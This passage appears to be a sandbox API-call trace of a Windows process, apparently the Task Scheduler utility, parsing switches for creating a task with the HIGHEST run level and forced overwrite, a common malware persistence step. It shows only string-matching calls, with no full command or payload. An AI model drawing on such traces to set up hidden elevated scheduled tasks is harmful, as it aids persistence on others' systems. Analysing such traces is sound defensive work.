(_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ru|") returned 4 [0077.320] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.320] lstrlenW (lpString="|ru|") returned 4 [0077.320] lstrlenW (lpString="|rl|") returned 4 [0077.320] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0077.320] SetLastError (dwErrCode=0x490) [0077.320] lstrlenW (lpString="rp") returned 2 [0077.320] lstrlenW (lpString="rp") returned 2 [0077.320] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] lstrlenW (lpString="rl") returned 2 [0077.320] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rp|") returned 4 [0077.320] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.321] lstrlenW (lpString="|rp|") returned 4 [0077.321] lstrlenW (lpString="|rl|") returned 4 [0077.321] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0077.321] SetLastError (dwErrCode=0x490) [0077.321] lstrlenW (lpString="sc") returned 2 [0077.321] lstrlenW (lpString="sc") returned 2 [0077.321] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.321] lstrlenW (lpString="rl") returned 2 [0077.321] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.321] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.321] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.321] lstrlenW (lpString="|sc|") returned 4 [0077.321] lstrlenW (lpString="|rl|") returned 4 [0077.321] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0077.321] SetLastError (dwErrCode=0x490) [0077.321] lstrlenW (lpString="mo") returned 2 [0077.321] lstrlenW (lpString="mo") returned 2 [0077.321] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.321] lstrlenW (lpString="rl") returned 2 [0077.323] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.323] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|mo|") returned 4 [0077.323] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.323] lstrlenW (lpString="|mo|") returned 4 [0077.323] lstrlenW (lpString="|rl|") returned 4 [0077.323] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0077.323] SetLastError (dwErrCode=0x490) [0077.323] lstrlenW (lpString="d") returned 1 [0077.323] lstrlenW (lpString="d") returned 1 [0077.323] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.323] lstrlenW (lpString="rl") returned 2 [0077.323] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.323] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|d|") returned 3 [0077.323] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.323] lstrlenW (lpString="|d|") returned 3 [0077.323] lstrlenW (lpString="|rl|") returned 4 [0077.323] SetLastError (dwErrCode=0x490) [0077.323] lstrlenW (lpString="m") returned 1 [0077.323] lstrlenW (lpString="m") returned 1 [0077.323] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.323] lstrlenW (lpString="rl") returned 2 [0077.323] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.324] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|m|") returned 3 [0077.324] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.324] lstrlenW (lpString="|m|") returned 3 [0077.324] lstrlenW (lpString="|rl|") returned 4 [0077.324] SetLastError (dwErrCode=0x490) [0077.324] lstrlenW (lpString="i") returned 1 [0077.324] lstrlenW (lpString="i") returned 1 [0077.324] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.324] lstrlenW (lpString="rl") returned 2 [0077.324] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.324] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|i|") returned 3 [0077.324] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.324] lstrlenW (lpString="|i|") returned 3 [0077.324] lstrlenW (lpString="|rl|") returned 4 [0077.324] SetLastError (dwErrCode=0x490) [0077.324] lstrlenW (lpString="tn") returned 2 [0077.324] lstrlenW (lpString="tn") returned 2 [0077.324] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.324] lstrlenW (lpString="rl") returned 2 [0077.324] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.324] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.324] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.324] lstrlenW (lpString="|tn|") returned 4 [0077.324] lstrlenW (lpString="|rl|") returned 4 [0077.324] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0077.325] SetLastError (dwErrCode=0x490) [0077.325] lstrlenW (lpString="tr") returned 2 [0077.325] lstrlenW (lpString="tr") returned 2 [0077.325] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.325] lstrlenW (lpString="rl") returned 2 [0077.325] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.325] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.325] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.325] lstrlenW (lpString="|tr|") returned 4 [0077.325] lstrlenW (lpString="|rl|") returned 4 [0077.325] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0077.325] SetLastError (dwErrCode=0x490) [0077.325] lstrlenW (lpString="st") returned 2 [0077.325] lstrlenW (lpString="st") returned 2 [0077.325] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.325] lstrlenW (lpString="rl") returned 2 [0077.325] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.325] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|st|") returned 4 [0077.325] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.325] lstrlenW (lpString="|st|") returned 4 [0077.325] lstrlenW (lpString="|rl|") returned 4 [0077.325] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0077.325] SetLastError (dwErrCode=0x490) [0077.325] lstrlenW (lpString="sd") returned 2 [0077.325] lstrlenW (lpString="sd") returned 2 [0077.325] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.326] lstrlenW (lpString="rl") returned 2 [0077.326] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.326] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sd|") returned 4 [0077.326] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.326] lstrlenW (lpString="|sd|") returned 4 [0077.326] lstrlenW (lpString="|rl|") returned 4 [0077.326] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0077.326] SetLastError (dwErrCode=0x490) [0077.326] lstrlenW (lpString="ed") returned 2 [0077.326] lstrlenW (lpString="ed") returned 2 [0077.326] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.326] lstrlenW (lpString="rl") returned 2 [0077.326] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.326] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ed|") returned 4 [0077.326] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.326] lstrlenW (lpString="|ed|") returned 4 [0077.326] lstrlenW (lpString="|rl|") returned 4 [0077.326] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0077.326] SetLastError (dwErrCode=0x490) [0077.326] lstrlenW (lpString="it") returned 2 [0077.326] lstrlenW (lpString="it") returned 2 [0077.326] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.326] lstrlenW (lpString="rl") returned 2 [0077.326] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.327] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|it|") returned 4 [0077.327] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.327] lstrlenW (lpString="|it|") returned 4 [0077.327] lstrlenW (lpString="|rl|") returned 4 [0077.327] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0077.327] SetLastError (dwErrCode=0x490) [0077.327] lstrlenW (lpString="et") returned 2 [0077.327] lstrlenW (lpString="et") returned 2 [0077.327] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.327] lstrlenW (lpString="rl") returned 2 [0077.327] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.327] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|et|") returned 4 [0077.327] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.327] lstrlenW (lpString="|et|") returned 4 [0077.327] lstrlenW (lpString="|rl|") returned 4 [0077.327] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0077.327] SetLastError (dwErrCode=0x490) [0077.327] lstrlenW (lpString="k") returned 1 [0077.327] lstrlenW (lpString="k") returned 1 [0077.327] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.327] lstrlenW (lpString="rl") returned 2 [0077.327] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.327] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|k|") returned 3 [0077.327] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.327] lstrlenW (lpString="|k|") returned 3 [0077.327] lstrlenW (lpString="|rl|") returned 4 [0077.328] SetLastError (dwErrCode=0x490) [0077.328] lstrlenW (lpString="du") returned 2 [0077.328] lstrlenW (lpString="du") returned 2 [0077.328] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.328] lstrlenW (lpString="rl") returned 2 [0077.328] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.328] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|du|") returned 4 [0077.328] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.328] lstrlenW (lpString="|du|") returned 4 [0077.328] lstrlenW (lpString="|rl|") returned 4 [0077.328] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0077.328] SetLastError (dwErrCode=0x490) [0077.328] lstrlenW (lpString="ri") returned 2 [0077.328] lstrlenW (lpString="ri") returned 2 [0077.328] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.328] lstrlenW (lpString="rl") returned 2 [0077.328] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.328] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ri|") returned 4 [0077.328] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.328] lstrlenW (lpString="|ri|") returned 4 [0077.328] lstrlenW (lpString="|rl|") returned 4 [0077.328] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0077.328] SetLastError (dwErrCode=0x490) [0077.328] lstrlenW (lpString="z") returned 1 [0077.328] lstrlenW (lpString="z") returned 1 [0077.328] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] lstrlenW (lpString="rl") returned 2 [0077.329] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|z|") returned 3 [0077.329] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.329] lstrlenW (lpString="|z|") returned 3 [0077.329] lstrlenW (lpString="|rl|") returned 4 [0077.329] SetLastError (dwErrCode=0x490) [0077.329] lstrlenW (lpString="f") returned 1 [0077.329] lstrlenW (lpString="f") returned 1 [0077.329] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] lstrlenW (lpString="rl") returned 2 [0077.329] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.329] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.329] lstrlenW (lpString="|f|") returned 3 [0077.329] lstrlenW (lpString="|rl|") returned 4 [0077.329] SetLastError (dwErrCode=0x490) [0077.329] lstrlenW (lpString="v1") returned 2 [0077.329] lstrlenW (lpString="v1") returned 2 [0077.329] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] lstrlenW (lpString="rl") returned 2 [0077.329] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.329] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|v1|") returned 4 [0077.329] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.330] lstrlenW (lpString="|v1|") returned 4 [0077.330] lstrlenW (lpString="|rl|") returned 4 [0077.330] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0077.330] SetLastError (dwErrCode=0x490) [0077.330] lstrlenW (lpString="xml") returned 3 [0077.330] lstrlenW (lpString="xml") returned 3 [0077.330] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.330] lstrlenW (lpString="rl") returned 2 [0077.330] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.330] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|xml|") returned 5 [0077.330] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.330] lstrlenW (lpString="|xml|") returned 5 [0077.330] lstrlenW (lpString="|rl|") returned 4 [0077.330] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0077.330] SetLastError (dwErrCode=0x490) [0077.330] lstrlenW (lpString="ec") returned 2 [0077.330] lstrlenW (lpString="ec") returned 2 [0077.330] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.330] lstrlenW (lpString="rl") returned 2 [0077.330] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.330] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ec|") returned 4 [0077.330] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.330] lstrlenW (lpString="|ec|") returned 4 [0077.330] lstrlenW (lpString="|rl|") returned 4 [0077.330] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0077.330] SetLastError (dwErrCode=0x490) [0077.331] lstrlenW (lpString="rl") returned 2 [0077.331] lstrlenW (lpString="rl") returned 2 [0077.331] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.331] lstrlenW (lpString="rl") returned 2 [0077.331] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.331] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.331] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.331] lstrlenW (lpString="|rl|") returned 4 [0077.331] lstrlenW (lpString="|rl|") returned 4 [0077.331] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0077.331] SetLastError (dwErrCode=0x0) [0077.331] SetLastError (dwErrCode=0x0) [0077.331] lstrlenW (lpString="HIGHEST") returned 7 [0077.331] lstrlenW (lpString="-/") returned 2 [0077.331] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0077.331] SetLastError (dwErrCode=0x490) [0077.331] SetLastError (dwErrCode=0x490) [0077.331] SetLastError (dwErrCode=0x0) [0077.331] lstrlenW (lpString="HIGHEST") returned 7 [0077.331] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0077.331] SetLastError (dwErrCode=0x490) [0077.331] SetLastError (dwErrCode=0x0) [0077.331] _memicmp (_Buf1=0x3bd680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.331] lstrlenW (lpString="HIGHEST") returned 7 [0077.331] lstrlenW (lpString="HIGHEST") returned 7 [0077.331] lstrlenW (lpString=" \x09") returned 2 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0077.332] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0077.332] GetLastError () returned 0x0 [0077.332] lstrlenW (lpString="HIGHEST") returned 7 [0077.332] lstrlenW (lpString="HIGHEST") returned 7 [0077.332] SetLastError (dwErrCode=0x0) [0077.332] SetLastError (dwErrCode=0x0) [0077.332] lstrlenW (lpString="/f") returned 2 [0077.332] lstrlenW (lpString="-/") returned 2 [0077.332] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.332] lstrlenW (lpString="create") returned 6 [0077.332] lstrlenW (lpString="create") returned 6 [0077.332] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.332] lstrlenW (lpString="f") returned 1 [0077.332] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.332] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.332] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.332] lstrlenW (lpString="|create|") returned 8 [0077.332] lstrlenW (lpString="|f|") returned 3 [0077.332] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0077.332] SetLastError (dwErrCode=0x490) [0077.332] lstrlenW (lpString="?") returned 1 [0077.333] lstrlenW (lpString="?") returned 1 [0077.333] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.333] lstrlenW (lpString="f") returned 1 [0077.333] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.333] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|?|") returned 3 [0077.333] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.333] lstrlenW (lpString="|?|") returned 3 [0077.333] lstrlenW (lpString="|f|") returned 3 [0077.333] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0077.333] SetLastError (dwErrCode=0x490) [0077.333] lstrlenW (lpString="s") returned 1 [0077.333] lstrlenW (lpString="s") returned 1 [0077.333] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.333] lstrlenW (lpString="f") returned 1 [0077.333] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.333] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|s|") returned 3 [0077.333] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.333] lstrlenW (lpString="|s|") returned 3 [0077.333] lstrlenW (lpString="|f|") returned 3 [0077.333] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0077.333] SetLastError (dwErrCode=0x490) [0077.333] lstrlenW (lpString="u") returned 1 [0077.333] lstrlenW (lpString="u") returned 1 [0077.333] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.333] lstrlenW (lpString="f") returned 1 [0077.333] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.334] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|u|") returned 3 [0077.334] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.334] lstrlenW (lpString="|u|") returned 3 [0077.334] lstrlenW (lpString="|f|") returned 3 [0077.334] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0077.334] SetLastError (dwErrCode=0x490) [0077.334] lstrlenW (lpString="p") returned 1 [0077.334] lstrlenW (lpString="p") returned 1 [0077.334] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.334] lstrlenW (lpString="f") returned 1 [0077.334] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.334] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|p|") returned 3 [0077.334] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.334] lstrlenW (lpString="|p|") returned 3 [0077.334] lstrlenW (lpString="|f|") returned 3 [0077.334] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0077.334] SetLastError (dwErrCode=0x490) [0077.334] lstrlenW (lpString="ru") returned 2 [0077.334] lstrlenW (lpString="ru") returned 2 [0077.334] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.334] lstrlenW (lpString="f") returned 1 [0077.334] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.334] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ru|") returned 4 [0077.334] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.334] lstrlenW (lpString="|ru|") returned 4 [0077.335] lstrlenW (lpString="|f|") returned 3 [0077.335] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0077.335] SetLastError (dwErrCode=0x490) [0077.335] lstrlenW (lpString="rp") returned 2 [0077.335] lstrlenW (lpString="rp") returned 2 [0077.335] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.335] lstrlenW (lpString="f") returned 1 [0077.335] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.335] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rp|") returned 4 [0077.335] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.335] lstrlenW (lpString="|rp|") returned 4 [0077.335] lstrlenW (lpString="|f|") returned 3 [0077.335] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0077.335] SetLastError (dwErrCode=0x490) [0077.335] lstrlenW (lpString="sc") returned 2 [0077.335] lstrlenW (lpString="sc") returned 2 [0077.335] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.335] lstrlenW (lpString="f") returned 1 [0077.335] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.335] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.335] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.335] lstrlenW (lpString="|sc|") returned 4 [0077.335] lstrlenW (lpString="|f|") returned 3 [0077.335] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0077.335] SetLastError (dwErrCode=0x490) [0077.335] lstrlenW (lpString="mo") returned 2 [0077.336] lstrlenW (lpString="mo") returned 2 [0077.336] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, 